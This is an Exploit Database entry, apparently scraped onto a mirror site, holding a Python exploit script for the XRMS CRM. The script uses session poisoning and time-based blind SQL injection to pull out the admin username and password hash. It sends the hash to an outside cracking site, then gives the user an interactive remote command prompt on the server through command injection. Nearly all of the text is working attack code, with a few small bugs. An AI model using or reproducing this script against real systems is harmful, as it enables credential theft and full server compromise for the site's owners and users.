XRms – Blind SQL Injection / Command Execution

Exploit Database
106 阅读

作者： Benjamin Harris

日期： 2014-08-28
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/34452/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

#######################

# XRMS Blind SQLi via $_SESSION poisoning, then command exec

#########################

import urllib

import urllib2

import time

import sys

usercharac = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.','_','-','1','2','3','4','5','6','7','8','9','0']

userascii = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 64, 46, 95, 45, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48]

def banner():

print """ ____

/ __/_______ _____________ ________

/ /_/ / / / __ <code>/ | |/_/ ___/ __ </code>__ \/ ___/

/ __/ /_/ / /_/ / _></ // / / / / (__)

/_/\__,_/\__, (_)_/|_/_//_/ /_/ /_/____/

/_/

[+] fuq th3 w0rld, fuq ur m0m!\n"""

def usage():

print " [+] Info: Remote Command Execution via $_SESSION poisoning to SQLi to RCE"

print " [+] Example:"

print " [+] python " + sys.argv[0] + " domain.to/xrms"

quit()

def sendhashaway(hash):

print " [+] Sending hash to icrackhash.com to be cracked."

data = None

headers = { 'Referer' : 'http://icrackhash.com/?mdhash=' + hash + '&type=MD5','User-Agent' : 'Mozilla','X-Requested-With' : 'XMLHttpRequest'}

url = 'http://www.icrackhash.com/?mdhash=' + hash + '&type=MD5'

gh = urllib2.Request(url,data,headers)

gh2 = urllib2.urlopen(gh)

output = gh2.read()

plaintext = getpositions(output,'<td><small><strong>','</strong>')

print " [-] Plaintext of hash: " +plaintext + "\n"

return plaintext

def username(length):

length = length + 1

duser = []

#1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- -

found = 0

i = 1

payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(username,"

payload2 = ",1)=CHAR("

payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -"

for i in range(1,length):

found = 0

while(found != 1):

for f in range(0,len(userascii)):

class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):

def http_error_302(self, req, fp, code, msg, headers):

infourl = urllib2.addinfourl(fp, headers, req.get_full_url())

infourl.status = code

infourl.code = code

return infourl

http_error_300 = http_error_302

class HeadRequest(urllib2.Request):

def get_method(self):

return "POST"

payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3

data = urllib.urlencode([('user_id',payload)])

url = 'http://'+domain+'/plugins/webform/new-form.php'

opener = urllib2.build_opener(LeHTTPRedirectHandler)

req = HeadRequest(url,data)

prepare = opener.open(req)

cookie1 = prepare.info()

cookie2pos1 = str(cookie1).find('PHPSESSID')

cookie2pos2 = str(cookie1).find("\n",cookie2pos1)

line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]

line = 'XRMS' + line[9:]

url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'

headers = { 'Cookie' : line }

data = None

start = time.time()

get = urllib2.Request(url,data,headers)

get.get_method = lambda: 'HEAD'

try:

execute = urllib2.urlopen(get)

except:

pass

elapsed = (time.time() - start)

if(elapsed > 1):

print " Character found. Character is: " + usercharac[f]

duser.append(usercharac[f])

found = 1

return duser

def getusernamelength():

found = 0

i = 1

payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(LENGTH(username) = '"

payload2 = "',BENCHMARK(50000000,MD5(0x34343434)),NULL) FROM users-- -"

while (found != 1):

class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):

def http_error_302(self, req, fp, code, msg, headers):

infourl = urllib2.addinfourl(fp, headers, req.get_full_url())

infourl.status = code

infourl.code = code

return infourl

http_error_300 = http_error_302

class HeadRequest(urllib2.Request):

def get_method(self):

return "POST"

payload = payload1 + str(i) + payload2

data = urllib.urlencode([('user_id',payload)])

url = 'http://'+domain+'/plugins/webform/new-form.php'

opener = urllib2.build_opener(LeHTTPRedirectHandler)

req = HeadRequest(url,data)

prepare = opener.open(req)

cookie1 = prepare.info()

cookie2pos1 = str(cookie1).find('PHPSESSID')

cookie2pos2 = str(cookie1).find("\n",cookie2pos1)

line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]

line = 'XRMS' + line[9:]

url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'

headers = { 'Cookie' : line }

data = None

start = time.time()

get = urllib2.Request(url,data,headers)

get.get_method = lambda: 'HEAD'

try:

execute = urllib2.urlopen(get)

except:

pass

elapsed = (time.time() - start)

if(elapsed > 1):

print " Length found at position: " + str(i)

found = 1

length = i

return length

i = i + 1

def password(length):

length = length + 1

dpassword = []

#1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- -

found = 0

i = 1

payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(password,"

payload2 = ",1)=CHAR("

payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -"

for i in range(1,length):

found = 0

while(found != 1):

for f in range(0,len(userascii)):

class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):

def http_error_302(self, req, fp, code, msg, headers):

infourl = urllib2.addinfourl(fp, headers, req.get_full_url())

infourl.status = code

infourl.code = code

return infourl

http_error_300 = http_error_302

class HeadRequest(urllib2.Request):

def get_method(self):

return "POST"

payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3

data = urllib.urlencode([('user_id',payload)])

url = 'http://'+domain+'/plugins/webform/new-form.php'

opener = urllib2.build_opener(LeHTTPRedirectHandler)

req = HeadRequest(url,data)

prepare = opener.open(req)

cookie1 = prepare.info()

cookie2pos1 = str(cookie1).find('PHPSESSID')

cookie2pos2 = str(cookie1).find("\n",cookie2pos1)

line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]

line = 'XRMS' + line[9:]

url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'

headers = { 'Cookie' : line }

data = None

start = time.time()

get = urllib2.Request(url,data,headers)

get.get_method = lambda: 'HEAD'

try:

execute = urllib2.urlopen(get)

except:

pass

elapsed = (time.time() - start)

if(elapsed > 1):

print " Character found. Character is: " + usercharac[f]

dpassword.append(usercharac[f])

found = 1

return dpassword

def login(domain,user,password):

cookie = "XRMS=iseeurgettinown4d"

url = 'http://'+domain+'/login-2.php'

headers = { 'Cookie' : cookie }

data = urllib.urlencode([('username',user),('password',password)])

a1 = urllib2.Request(url,data,headers)

a2 = urllib2.urlopen(a1)

output = a2.read()

if output.find('PEAR.php') > 0:

print " [+] Logged In"

def commandexec(domain,command):

cookie = "XRMS=iseeurgettinown4d"

cmd = urllib.urlencode([("; echo '0x41';" + command + ";echo '14x0';",None)])

headers = { 'Cookie' : cookie }

data = None

url = 'http://'+domain+'/plugins/useradmin/fingeruser.php?username=' + cmd

b1 = urllib2.Request(url,data,headers)

b2 = urllib2.urlopen(a1)

output = b2.read()

first = output.find('0x41') + 4

last = output.find('14x0') - 4

return output[first:last]

banner()

if len(sys.argv) < 2:

usage()

domain = sys.argv[1]

print " [+] Grabbing username length"

length = getusernamelength()

print " [+] Grabbing username characters"

tmpuser = username(length)

adminusr = "".join(tmpuser)

print " [+] Grabbing password hash"

tmppass =password(32)

admpass = "".join(tmppass)

print " [+] Admin username: "+ adminusr

print " [+] Admin password hash: " + admpass

plain = sendhashaway(admpass)

while(quit != 1):

cmd = raw_input(' [+] Run a command: ')

if cmd == 'quit':

print " [-] Hope you had fun :)"

quit = 1

if cmd != 'quit':

print " [+] "+ commandexec(domain,cmd)